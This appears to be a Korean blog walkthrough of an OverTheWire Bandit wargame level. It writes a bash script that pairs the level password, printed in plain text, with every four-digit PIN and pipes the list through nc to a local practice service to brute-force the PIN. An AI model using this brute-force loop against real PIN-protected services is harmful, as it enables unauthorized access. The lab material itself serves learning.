728x90
포트 30002에 접속해보자.
nc localhost 30002
bandit24 password와 한 칸 띄어서 pincode를 한 줄에 입력하라고 한다.
0000부터 9999까지 반복 입력해서 pincode를 찾는 쉘 스크립트를 짜보자.
먼저, 스크립트 파일을 저장할 임시 디렉토리를 만든다.
mkdir /tmp/eskim
cd /tmp/eskim
brute_forcing.sh라는 쉘 스크립트를 만들어 password와 pincode를 list.txt 파일에 저장하도록 하자.
cat > brute_forcing.sh
#!/bin/bash
passwd=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
for i in {0000..9999}
do
echo $passwd $i >> /tmp/eskim/list.txt
done
파일 권한을 올려주고 bash 쉘을 실행시키자.
chmod 777 brute_forcing.sh
bash brute_forcing.sh
list.txt 파일을 읽어 포트 30002에 접속하자.
cat list.txt | nc localhost 30002
한참 후 Correct! 아래에 다음 레벨로 가기 위한 password를 확인할 수 있다.
728x90